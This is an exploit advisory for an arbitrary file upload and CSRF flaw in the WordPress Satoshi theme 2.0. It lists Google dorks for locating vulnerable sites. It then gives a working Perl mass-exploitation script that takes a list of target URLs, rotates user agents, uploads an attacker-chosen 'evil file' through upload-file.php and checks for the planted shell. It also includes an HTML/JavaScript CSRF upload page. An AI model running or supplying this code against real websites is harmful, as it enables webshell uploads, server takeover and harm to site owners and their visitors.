WordPress Satoshi 2.0 Cross Site Request Forgery / File Upload

2019.06.06
Risk: High
Local: No
Remote: Yes
CVE: N/A

#################################################################### # Exploit Title : WordPress Satoshi Themes 2.0 CSRF Arbitrary File Upload # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 05/06/2019 # Vendor Homepage : vooshthemes.com - tecnoge.com - netsons.com # WordPress Affected Versions : 4.7.13 - 3.4.2 # Theme Affected Version : 2.0 # Information Link : themesinfo.com/satoshi-theme-wordpress-portfolio-jpx themesinfo.com/?search_type=folder&search=satoshi # Theme used on : 106 websites # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : intext:Design By Voosh Themes inurl:/wp-content/themes/satoshi/ - intext:Design By TecnoGe Informatica - # Vulnerability Type : CWE-352 [ Cross-Site Request Forgery (CSRF) ] CWE-264 [ Permissions, Privileges, and Access Controls ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description About Software : ***************************** Satoshi v2.0 theme WordPress portfolio. A Free Portfolio Theme Developed By Voosh Themes. #################################################################### # Impact : *********** WordPress 3.4.2/4.7.13 Satoshi Themes 2.0 is prone to a vulnerability that lets attackers upload arbitrary files because it fails to adequately sanitize user-supplied input. An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. This WordPress Theme is vulnerable to CSRF file upload via ajaxupload.3.5.js. CSRF occurs when the web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. #################################################################### # Vulnerability : *************** /wp-content/themes/satoshi/upload-file.php Vulnerability Message : ********************* error Directory File Path : ****************** /wp-content/themes/satoshi/images/[YOURFILENAME].html # Arbitrary File Upload / Unauthorized File Insert Perl Exploiter : ******************************************************** #!/usr/bin/perl use LWP::UserAgent; # Coded By KingSkrupellos # Cyberizm Digital Security Army # Perl Exploiter By CyBeRiZM :) my $qqvul ="/upload-file.php";#theme path vul my $datestring = localtime(); ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(); sub randomagent { my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31' ); my $random = $array[rand @array]; return($random); } flag(); print "[+] Enter List Of Target : "; chomp (my $list=<>); print "[+] Enter Evil File : "; chomp (my $file=<>); print "[+] Started : $datestring\n"; open(my $arq,'<'.$list) || die($!); my @site = <$arq>; @site = grep { !/^$/ } @site; close($arq); print "[".($#site+1)."] URL to test upload\n\n"; my $i; foreach my $web(@site){$i++; chomp($web); if($web !~ /^(http|https):\/\//){ $web = 'http://'.$web; } print "[$i] $web \n"; expqq($web);#exploiting website :) } sub expqq{ my $useragent = randomagent();#Get a Random User Agent my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });#Https websites accept $ua->timeout(10); $ua->agent($useragent); print "[Testing] Exploit Existence \n"; my $url = $_[0]."/wp-content/themes/satoshi/".$qqvul; my $ss = $_[0]."/wp-content/themes/satoshi/images/".$file; my $response = $ua->get($url); if ($response->is_success || $response->content=~/error/){ print "[OK] Exploit Exists\n"; print "[*] Sent payload\n"; my $regex = 'success'; my $body = $ua->post( $url, Content_Type => 'form-data', Content => [ 'uploadfile' => ["$file"] ] ); if ($body->is_success ||$body->content=~ /$regex/){ print "[+] Payload successfully executed\n"; print "[*] Checking if shell was uploaded\n\n"; my $res = $ua->get($ss); if ($res->is_success){ print "[Upload] $_[0]/wp-content/satoshi/images/$file\n"; } else { print "[Faild] check file\n"; } } else {print "[-] Payload failed : Not vulnerable\n"; } } else { print "[No] Exploit Not Found\n"; } } sub flag {print "\n[+] WP Satoshi Theme File Upload Exploiter By Cyberizm Digital Security Team \n[*] Coder => Cyberizm \n\n"; } #################################################################### Cross Site Request Forgery CSRF Exploiter : ***************************************** <!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <title></title> <script type='text/javascript' src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script> <script type='text/javascript' src="http://localhost/wp-content/themes/satoshi/js/ajaxupload.3.5.js"></script> <script type='text/javascript'>//<![CDATA[ window.onload=function(){ $(function(){ var btnUpload=$('#upload'); var status=$('#logo-upload-status'); new AjaxUpload(btnUpload, { action: 'http://localhost/wp-content/themes/satoshi/upload-file.php', name: 'uploadfile', onSubmit: function(file, ext){ /* if (! (ext && /^(jpg|png|jpeg|gif|html|txt)$/.test(ext))){ // extension is not allowed status.text('Only HTML,TXT, JPG, PNG or GIF files are allowed'); return false; }*/ status.text('Uploading...'); }, onComplete: function(file, response){ //On completion clear the status status.text(''); //Add uploaded file to list if(response==="success"){ $('<li></li>').appendTo('#files').html('<img src="http://localhost/wp-content/themes/satoshi/images/'+file+'" alt="" /><br />'+file).addClass('success'); $('#satoshi_logo_image').val(file); } else{ $('<li></li>').appendTo('#files').text(file).addClass('error'); } } }); }); }//]]> </script> </head> <body> <span id="logo-upload-status"></span> <input class="logo-name" id="satoshi_logo_image" type="text" name="satoshi_logo_image" value=""> <input type="button" class="background_pattern_button" id="upload" value="Choose Logo"> </body> </html> #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################


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